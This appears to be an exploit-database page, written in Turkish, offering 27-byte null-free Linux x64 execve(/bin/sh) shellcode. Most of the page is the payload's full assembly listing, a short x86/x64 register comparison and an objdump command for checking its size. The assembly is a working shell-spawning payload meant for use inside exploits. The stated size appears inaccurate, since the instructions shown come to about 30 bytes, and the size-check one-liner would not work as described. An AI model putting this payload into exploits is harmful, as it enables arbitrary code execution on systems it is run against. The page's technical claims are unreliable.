VULN REPORT
/
shellcode
/
ID: 250
Linux/x64 execve(/bin/sh) Shellcode - 27 Bytes (Null-Free, Modern)
Özet
Bu kayıt, hedef sistemde bulunan bir zafiyeti detaylandırmaktadır. Zafiyet 2026-07-21 tarihinde yayınlanmış olup, topluluktan 45 görüntülenme almıştır. shellcode kategorisinde sınıflandırılmıştır. Kullanıcıların teknik detaylar için Detay sekmesindeki kaynak kodunu incelemeleri önerilir.
exploit_250.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">
<div class="border-l-4 border-emerald-500 pl-5 py-3 bg-emerald-50/60 rounded-r-xl">
<p class="text-xs font-bold uppercase tracking-widest text-emerald-700 mb-1">Modern Shellcode - Linux x64 - 27 Bytes</p>
<h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Linux/x64 execve(/bin/sh) - 27 Bytes (Null-Free)</h2>
<p class="text-sm text-slate-600 mt-2">64-bit mimaride shellcode yazmak x86'dan farklidir. Register'lar 64-bit genisligine cikmistir. Sistem cagrisi icin int 0x80 yerine syscall talimatı kullanilir.</p>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">x64 vs x86 Farklari</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
x86 → x64
eax → rax (64-bit)
ebx → rdi (1. arg - System V AMD64 ABI)
ecx → rsi (2. arg)
int 0x80 → syscall
execve = 59 (x64) | 11 (x86)
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">x64 Assembly</h3>
<div class="bg-slate-900 text-green-400 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
section .text
global _start
_start:
xor rdi, rdi
mul rdi ; rax=0, rdx=0
push rax
mov rcx, 0x68732f6e69622f2f ; //bin/sh
push rcx
mov rdi, rsp ; rdi = /bin//sh
push rax
push rdi
mov rsi, rsp
mov al, 59 ; execve = 59
syscall
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Boyut Dogrulama</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
objdump -d shell64 | grep -Po '\x..' | tr -d '\n' | wc -c
# Cikti: 27
</div>
</div>
</div>
Kayıt İstatistikleri
Görüntülenme
45
İndirmeler
11
Yorumlar
0